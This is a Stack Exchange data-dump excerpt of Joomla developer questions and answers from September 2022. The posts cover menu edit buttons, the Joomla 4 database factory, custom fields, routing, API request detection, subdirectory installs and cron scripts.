  <row Id="32399" PostTypeId="1" CreationDate="2022-09-16T04:38:58.660" Score="2" ViewCount="384" Body="&lt;p&gt;Since upgrading to Joomla 4 (currently 4.1.5, but also occurs in a test site with 4.2.2) an Edit button has appeared above each menu in the front-end sidebar. Previously in 3.10.10 the Edit option only appeared above Articles.&lt;/p&gt;&#xA;&lt;p&gt;How can I remove the Edit option from menus? I've searched for an answer but haven't found anything.&lt;/p&gt;&#xA;" OwnerUserId="12642" LastEditorUserId="12642" LastEditDate="2022-09-16T04:49:20.790" LastActivityDate="2022-09-16T06:42:24.033" Title="How can I remove front-end Edit button from side menus?" Tags="|joomla-4.x|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32400" PostTypeId="2" ParentId="32399" CreationDate="2022-09-16T06:42:24.033" Score="3" Body="&lt;p&gt;In &lt;code&gt;System -&amp;gt; Global Configuration -&amp;gt; Site -&amp;gt; Frontend Editing&lt;/code&gt; you have the choice of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modules &amp;amp; Menus&lt;/li&gt;&#xA;&lt;li&gt;Modules&lt;/li&gt;&#xA;&lt;li&gt;None&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-09-16T06:42:24.033" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32401" PostTypeId="1" AcceptedAnswerId="32404" CreationDate="2022-09-17T16:09:04.550" Score="1" ViewCount="888" Body="&lt;p&gt;Connecting to an external database in Joomla 3 is easy following &lt;a href=&quot;https://docs.joomla.org/Connecting_to_an_external_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;this documentation&lt;/a&gt; and works like a charm. But JDatabaseDriver-&amp;gt;getInstance method is deprecated in Joomla 4. What is the alternative method to do it in Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2022-10-18T11:06:10.697" Title="Connecting to an external database in Joomla 4" Tags="|mysql|joomla-4.x|database|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32402" PostTypeId="1" CreationDate="2022-09-18T08:09:39.200" Score="0" ViewCount="42" Body="&lt;p&gt;I'm developing a component and Joomla can't find it using the Discover utility. This is my component xml file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;component&amp;quot; method=&amp;quot;upgrade&amp;quot; version=&amp;quot;3.5&amp;quot;&amp;gt;&#xA;  &amp;lt;name&amp;gt;com_bowling&amp;lt;/name&amp;gt;&#xA;&#xA;  &amp;lt;files folder=&amp;quot;site&amp;quot;&amp;gt;&#xA;    &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;&#xA;  &amp;lt;administration&amp;gt;&#xA;  &amp;lt;/administration&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is a frontend only component so there are no admin files. I've placed this XML file in &lt;code&gt;/administrator/components/com_bowling&lt;/code&gt; folder. Currently using Joomla version 3.10.11.&lt;/p&gt;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="9633" LastEditorUserId="12352" LastEditDate="2023-10-17T22:24:47.823" LastActivityDate="2024-03-16T00:08:00.987" Title="Discover utility not finding component" Tags="|joomla-3.x|component|installation|front-end|discover|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32403" PostTypeId="2" ParentId="32402" CreationDate="2022-09-18T10:14:55.023" Score="0" Body="&lt;p&gt;Discover install does not seem to work with &lt;code&gt;com_&lt;/code&gt;-prefixed manifest files. The file name must be &lt;code&gt;bowling.xml&lt;/code&gt; in your case.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-18T10:14:55.023" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32404" PostTypeId="2" ParentId="32401" CreationDate="2022-09-18T10:24:03.210" Score="2" Body="&lt;p&gt;Use &lt;a href=&quot;https://api.joomla.org/framework-2/classes/Joomla-Database-DatabaseFactory.html#method_getDriver&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\Database\DatabaseFactory::getDriver()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = (new Joomla\Database\DatabaseFactory)-&amp;gt;getDriver('mysqli', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-18T10:24:03.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32405" PostTypeId="1" CreationDate="2022-09-19T02:46:26.767" Score="0" ViewCount="77" Body="&lt;p&gt;I have created a Joomla 4.1.5 template based on Cassiopeia but heavily customised. Everything works fine but instead of a front-end Edit icon on the right above articles (for a user with edit permissions) it displays hyperlink text &amp;quot;Edit Published Article&amp;quot; on the left. In Cassiopeia it displays the expected icon, so it seems I may have removed the relevant code. I can edit the article using the hyperlink but would prefer to have the Edit icon.&lt;/p&gt;&#xA;&lt;p&gt;I can't find any information about where this icon is generated.&lt;/p&gt;&#xA;" OwnerUserId="12642" LastActivityDate="2024-02-11T09:01:05.180" Title="How can I display edit icon for articles?" Tags="|templates|joomla-4.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32406" PostTypeId="2" ParentId="32405" CreationDate="2022-09-19T06:18:50.490" Score="0" Body="&lt;p&gt;You are missing tooltip styling. As mentioned in &lt;a href=&quot;https://joomla.stackexchange.com/a/32209/12652&quot;&gt;this answer&lt;/a&gt;, you need to add styling for all elements with &lt;code&gt;role=&amp;quot;tooltip&amp;quot;&lt;/code&gt; attribute. There is no generic CSS library included so you'll have to write your own or copy-paste from core templates.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-19T06:18:50.490" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32407" PostTypeId="1" AcceptedAnswerId="32426" CreationDate="2022-09-19T13:54:03.990" Score="0" ViewCount="80" Body="&lt;p&gt;To add some common ground. I need to transfer 3 variables from a module to my template when the sites loading.&#xA;In my module I get 3 links to specific images and they need to be included in the template.&#xA;So I tried to do in my module:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session = Factory::getSession();&#xA;$session-&amp;gt;set('image1', $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in my index.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$session = Factory::getSession();&#xA;$variable = $session-&amp;gt;get('image1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The issue is that this only works if I refresh my page. I understand that the template is loaded first and the module is loaded second so the template reads the variable before it is set. The question is: Is there away around this? How can I accomplish what I want to?&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorUserId="16372" LastEditDate="2022-09-20T20:42:58.953" LastActivityDate="2022-09-27T20:36:13.493" Title="Session variable from a module is only accessible from the template after refresh" Tags="|php|templates|fix-my-code|session|variable|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32408" PostTypeId="1" AcceptedAnswerId="32424" CreationDate="2022-09-19T21:31:28.483" Score="1" ViewCount="266" Body="&lt;p&gt;I have a custom component I am creating. I am trying to implement custom fields for several of my views. I have custom fields added currently and I can create a custom field and custom field groups for each of the views that I am wanting, but I can't seem to get them to show up on my edit layout.&lt;/p&gt;&#xA;&lt;p&gt;Here is the code for my edit layout.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//NO DIRECT ACCESS&#xA;defined('_JEXEC') or die('Restricted access');&#xA;?&amp;gt;&#xA;&amp;lt;form action=&amp;quot;&amp;lt;?php echo JRoute::_('index.php?option=com_example&amp;amp;layout=edit&amp;amp;id='.(int) $this-&amp;gt;item-&amp;gt;id);?&amp;gt;&amp;quot; method=&amp;quot;post&amp;quot; name=&amp;quot;adminForm&amp;quot; id=&amp;quot;adminForm&amp;quot; class=&amp;quot;form-validate&amp;quot;&amp;gt;&#xA;&amp;lt;fieldset class=&amp;quot;adminform&amp;quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;&amp;lt;?php echo JText::_('Client Details'); ?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;?php foreach($this-&amp;gt;form-&amp;gt;getFieldset() as $field): ?&amp;gt;&#xA;        &amp;lt;?php if (!$field-&amp;gt;hidden): ?&amp;gt;&#xA;            &amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;fieldset class=&amp;quot;adminform&amp;quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;&amp;lt;?php echo JText::_('Custom Fields'); ?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;?php&#xA;    JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;    $customFields = FieldsHelper::getFields('com_example.clients', $this-&amp;gt;item, true);&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    print_r($customFields);&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php foreach($customFields as $field): ?&amp;gt;&#xA;        &amp;lt;?php if (!$field-&amp;gt;hidden): ?&amp;gt;&#xA;            &amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;client.edit&amp;quot; /&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I when I print_r() the $customFields variable I can see the custom field that I created, but for the life of me I can't figure out how to convert that stdObject over to the actual form field. Anyone have any ideas on this? I am sure it is something simple but I don't see the answer in the Joomla Component Dev Tutorials online.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2022-09-26T15:02:24.087" Title="Custom Fields Implementation" Tags="|joomla-3.x|custom-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32409" PostTypeId="2" ParentId="32408" CreationDate="2022-09-20T05:40:07.463" Score="1" Body="&lt;p&gt;Custom fields are added to the form definition by a plugin using &lt;code&gt;onContentPrepareForm&lt;/code&gt; event. For this reason you don't need and should not hardcode any code related to custom fields. Form fields can be rendered in many different ways. It depends on your form structure. If fields are inside fieldsets, you can use &lt;code&gt;Joomla\CMS\Form\Form::getFieldsets()&lt;/code&gt; to get the fieldsets, iterate over them and render them using &lt;code&gt;Joomla\CMS\Form\Form::renderFieldset()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldsets() as $fieldset) : ?&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;&amp;lt;?= JText::_($fieldset-&amp;gt;label); ?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;?= $this-&amp;gt;form-&amp;gt;renderFieldset($fieldset-&amp;gt;name); ?&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are also some layouts available in &lt;code&gt;layouts/joomla/edit&lt;/code&gt; directory that you can use but they're rather quirky.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-20T05:40:07.463" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32410" PostTypeId="1" CreationDate="2022-09-20T16:51:33.960" Score="0" ViewCount="171" Body="&lt;p&gt;Having the SQL in the XML file to build custom inputs is great, I just can't figure it out how to link the value based on another imput...&#xA;Say you have the Language Selection, then you want that value to be use on another custom input to select all where language is equal to the selected language&#xA;&lt;br&gt;&#xA;You have this at all times in all editing forms, content, category, modules...etc,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;language&amp;quot;&#xA;    type=&amp;quot;contentlanguage&amp;quot;&#xA;    label=&amp;quot;JFIELD_LANGUAGE_LABEL&amp;quot;&amp;gt;&#xA;    &amp;lt;option value=&amp;quot;*&amp;quot;&amp;gt;JALL&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That is your language selector, so when creating or editing a category you have that value always with a pre-set value from &amp;quot;*&amp;quot; to &amp;quot;en-GB&amp;quot; or whatever language you might have, so we want that value to be use from another custom input...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;artId&amp;quot;&#xA;    label=&amp;quot;Article&amp;quot;&#xA;    description=&amp;quot;Select Article&amp;quot;&#xA;    layout=&amp;quot;joomla.form.field.list-fancy-select&amp;quot;&#xA;    type=&amp;quot;sql&amp;quot;&#xA;    query=&amp;quot;SELECT id, title, language FROM #__content&amp;quot;&#xA;    key_field=&amp;quot;id&amp;quot;&#xA;    value_field=&amp;quot;title&amp;quot;&#xA;    sql_default_language=&amp;quot;en-GB&amp;quot;&#xA;    sql_default_state=&amp;quot;1&amp;quot;&#xA;    sql_default_access=&amp;quot;1&amp;quot;&#xA;    required=&amp;quot;false&amp;quot;&#xA;    header=&amp;quot;Please select your option&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Notice this &lt;code&gt;sql_default_language=&amp;quot;en-GB&amp;quot;&lt;/code&gt;, there is where the value from the language input is needed, so, how do I pull that value into this new input?&lt;br&gt;&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="9762" LastActivityDate="2022-09-21T05:53:38.523" Title="J4, Custom Input Field SQL &quot;WHERE&quot; based on another input field" Tags="|joomla-3.x|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32411" PostTypeId="2" ParentId="32410" CreationDate="2022-09-21T05:53:38.523" Score="1" Body="&lt;p&gt;You can do this inside the model, after fetching the form:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('artId', 'sql_default_language', $form-&amp;gt;getValue('language'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-21T05:53:38.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32412" PostTypeId="2" ParentId="32380" CreationDate="2022-09-22T07:47:04.237" Score="2" Body="&lt;p&gt;There have been many changes in routing in J4. One in particular is that URLs containing only menu item ID (e.g. &lt;code&gt;index.php?Itemid=145&lt;/code&gt;) now have all menu query parameters appended before being passed to component router. In J3, only component was added. This is an issue for you because your router unconditionally appends the view to the path:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($query['view'])) {&#xA;    $segments[] = $query['view'];&#xA;    unset($query['view']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This isn't entirely correct even for J3, since building the link with correct item ID:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_courses&amp;amp;view=course&amp;amp;Itemid=145&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;results in URL containing the view after menu alias:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php/[menu-alias]/course&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To solve the issue you essentially need to add logic to handle URLs with and without menu item IDs. So that the view is added to the path only when needed. Instead of writing this code yourself, you could convert your old router to a rule-based router, i.e. by extending &lt;code&gt;Joomla\CMS\Component\Router\RouterView&lt;/code&gt;. The included core rules should already handle this.&lt;/p&gt;&#xA;&lt;p&gt;Also, in case you're getting 404 errors in your component, it's probably because your parse function has incorrect function signature. &lt;code&gt;$segments&lt;/code&gt; argument should be passed by reference because the modification made to it matter.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function CourseParseRoute(&amp;amp;$segments) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-22T07:47:04.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32413" PostTypeId="1" CreationDate="2022-09-22T15:59:26.497" Score="1" ViewCount="159" Body="&lt;p&gt;If I do an API call like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl --location --request GET &amp;quot;http://127.0.0.1:8000/api/index.php/v1/users&amp;quot; --header &amp;quot;X-Joomla-Token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get the desired result.&lt;/p&gt;&#xA;&lt;p&gt;Now I activate one system plugin of mine and I get an 500, because the system plugin is doing some things that are only needed if processing as client or admin request.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way of identifying the request as an API request, so decisions can be made? This should also work in future Joomla updates?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-09-22T17:01:07.527" Title="Identify Joomla 4 API access" Tags="|joomla-api|jinput|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32414" PostTypeId="2" ParentId="32413" CreationDate="2022-09-22T16:40:20.930" Score="1" Body="&lt;p&gt;The most common way is to use &lt;a href=&quot;https://api.joomla.org/cms-4/classes/Joomla-CMS-Application-CMSApplicationInterface.html#method_isClient&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\CMS\Application\CMSApplicationInterface::isClient()&lt;/code&gt;&lt;/a&gt; to identify current application by name.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onAfterSomething&#xA;    { &#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('site'))&#xA;        {&#xA;            // Do something in site application.&#xA;        }&#xA;        &#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('administrator'))&#xA;        {&#xA;            // Do something in administrator application.&#xA;        }&#xA;        &#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('api'))&#xA;        {&#xA;            // Do something in API application.&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-22T16:40:20.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32415" PostTypeId="2" ParentId="32413" CreationDate="2022-09-22T17:01:07.527" Score="0" Body="&lt;p&gt;Simple Solution:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;isClient('api');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-09-22T17:01:07.527" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32416" PostTypeId="1" CreationDate="2022-09-22T17:14:34.983" Score="2" ViewCount="260" Body="&lt;p&gt;So far, I am finding it difficult to run Joomla 4 in a subdirectory. With $live_site empty or set to &lt;a href=&quot;https://example.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com&lt;/a&gt; or &lt;a href=&quot;https://example.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/&lt;/a&gt; the site shows an error message &amp;quot;The requested page can't be found&amp;quot; when an attempt is made to access &lt;a href=&quot;https://example.com/testing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/testing&lt;/a&gt; or &lt;a href=&quot;https://example.com/testing/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/testing/index.php&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;With $live_site set to &lt;a href=&quot;https://example.com/testing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://example.com/testing&lt;/a&gt;, I can access the home page. But all component links are wrong because Uri::root() returns &amp;quot;https://example.com/testing/&amp;quot; and \Joomla\CMS\Router\Route::_ returns &amp;quot;testing/index.php?....&amp;quot; (with SEF turned off) thus duplicating the subdirectory and creating an invalid link when combined.&lt;/p&gt;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2022-10-26T00:06:45.837" Title="Can Joomla 4 run in a subdirectory" Tags="|subdirectory|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32417" PostTypeId="1" CreationDate="2022-09-22T19:19:02.290" Score="1" ViewCount="148" Body="&lt;p&gt;I've got a few php pages which after upgrading to Joomla 4 didn't work, I have managed to get them working properly if I manually open them in the browser but they fail when run as a cron job.&lt;/p&gt;&#xA;&lt;p&gt;I am using PHP 8.0&lt;/p&gt;&#xA;&lt;p&gt;I am sure I must be missing something simple and hope that someone can give me some pointers.&lt;/p&gt;&#xA;&lt;p&gt;I've only included the first part of the code which contains the Joomla references as Stackoverflow didn't like all the code included&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;$length_to_fetch_minutes = 10;&#xA;&#xA;&#xA;define('_JEXEC', 1);&#xA;&#xA;define('JPATH_BASE', realpath(dirname(__FILE__)));&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// instantiate application&#xA;// $app   = JFactory::getApplication('site');&#xA;&#xA;// Set the application as global app&#xA;// \Joomla\CMS\Factory::$application = $app;&#xA;&#xA;// $app-&amp;gt;createExtensionNamespaceMap();&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;// Set the application as global app&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;&#xA;// database connection&#xA;$dbj     = JFactory::getDbo();&#xA;&#xA;JLoader::discover('Sim', JPATH_LIBRARIES . '/sim');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The error is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Blockquote RuntimeException {#168&#xA;#message: &amp;quot;Could not parse the requested URI http:///home/ruralde1/example.com/iot2/data.php&amp;quot;&#xA;#code: 0&#xA;#file: &amp;quot;./example.com/iot2/libraries/vendor/joomla/uri/src/AbstractUri.php&amp;quot;&#xA;#line: 373&#xA;trace: {&#xA;./example.com/iot2/libraries/vendor/joomla/uri/src/AbstractUri.php:373 { â€¦}&#xA;./example.com/iot2/libraries/src/Uri/Uri.php:290 {&#xA;Joomla\CMS\Uri\Uri-&amp;gt;parse($uri)&#xA;â€º {&#xA;â€º     return parent::parse($uri);&#xA;â€º }&#xA;arguments: {&#xA;$uri: &amp;quot;http:///home/ruralde1/example.com/iot2/data.php&amp;quot;&#xA;}&#xA;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11225" LastEditorUserId="11225" LastEditDate="2022-09-22T19:46:41.120" LastActivityDate="2024-01-20T08:05:45.693" Title="Joomla 3-&gt;4 upgrade, page works OK but not as a cron job" Tags="|joomla-4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32418" PostTypeId="2" ParentId="32416" CreationDate="2022-09-23T02:56:30.697" Score="0" Body="&lt;p&gt;Have you considered installing it in a sub-domain instead?&#xA;e.g. &lt;a href=&quot;https://testing.example.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://testing.example.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12642" LastActivityDate="2022-09-23T02:56:30.697" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32419" PostTypeId="1" AcceptedAnswerId="32423" CreationDate="2022-09-25T16:38:57.970" Score="0" ViewCount="98" Body="&lt;p&gt;I have SSO working with an external IdP on my Joomla4 site.&lt;/p&gt;&#xA;&lt;p&gt;However, to initiate a login by a user, they have to click a button/link to be directed to the IdP login form.&lt;/p&gt;&#xA;&lt;p&gt;When I set the permissions for an article or menu item to a role like registered, a non-authenticated user attempting to access that resource is automatically redirect to the the Joomla default login form.&lt;/p&gt;&#xA;&lt;p&gt;What I'd like is to keep that Joomla redirection functionality but to override the module so that the user is redirected to the IdP instead of the default form.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone have a best practice for overriding where the login module redirects the user to provide credentials?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have been using Joomla since v1.5 and done many customizations but have never had to update the login module before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;The best practices I'm looking for refer to &amp;quot;where&amp;quot; to place an inturrupt in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;For example, one could possibly edit the authorize function in libraries/src/Application/SiteApplication.php, or possibly even in $menus-&amp;gt;authorize.&lt;/p&gt;&#xA;&lt;p&gt;The least-complicated way seems to be to override the default_login and default_logout template pre-processor in com_users/tmpl/login.  Using this I could possibly force a header redirect but this doesn't might open up a risk of people posting directly to login and bypassing my OAuth IdP (but that can be addressed by blocking direct registration).&lt;/p&gt;&#xA;&lt;p&gt;Anyway, I'm seeking advice from someone with understanding of how J4's authorization is applied and where the most effective aggregation point could be to place this redirection override that is also compatible with upgrades.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastEditorUserId="3570" LastEditDate="2022-09-26T01:50:54.047" LastActivityDate="2022-09-26T08:01:03.010" Title="Override login module to initiate SSO redirect" Tags="|overrides|login-module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32420" PostTypeId="2" ParentId="32416" CreationDate="2022-09-25T22:32:12.683" Score="1" Body="&lt;p&gt;This explanation assumes your Joomla instance is in &lt;code&gt;/public_html/testing&lt;/code&gt; and the URL will be &lt;code&gt;www.example.com&lt;/code&gt; without the &lt;code&gt;'/testing'&lt;/code&gt; string appearing in the URL.&lt;/p&gt;&#xA;&lt;p&gt;To run Joomla in a sub directory you need need to update the &lt;code&gt;$live_site&lt;/code&gt; so that it contains just the domain name, no mention of the sub-directory, eg.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$live_site=&amp;quot;https://www.example.com',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the &lt;code&gt;/public_html/.htaccess&lt;/code&gt; you then 'hide' the sub-directory name with a little bit of code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Internally Rewrite requests for Example to hide the sub-directory in the URL&#xA;# when using the primary cpanel domain rather than an Add-on domain.&#xA;# If the target directory holds a Joomla instance then the configuration.php&#xA;# entry for $live_site needs to contain the full domain name also, eg.&#xA;# $live_site='https://www.examle.com' for this hack to work.&#xA;# &#xA;# The $ 1!^directory allows you to access other directories and not be affected by this,&#xA;# eg. www.example.com/anotherdirectory&#xA;&#xA;    RewriteCond %{HTTP_HOST} ^www\.example\.com$&#xA;    RewriteCond $1 !^anothedirectory&#xA;    RewriteRule (.*)$ /testing/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some things to note is that above normally only needs to used when the hosting account, eg. cPanel, forces the primary domain to use the &lt;code&gt;/public_html/&lt;/code&gt; root folder.  For all other domains then use sub-domains or Add-on domains.&lt;/p&gt;&#xA;&lt;p&gt;From the point of view of the extension being developed you should not need to be concerned about any of the above if you use the normal methods to let Joomla resolve the domain and/or prefix the directory names in your code.&lt;/p&gt;&#xA;&lt;p&gt;This approach has worked since Joomla 1 and still works with Joomla 4.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-09-25T22:32:12.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
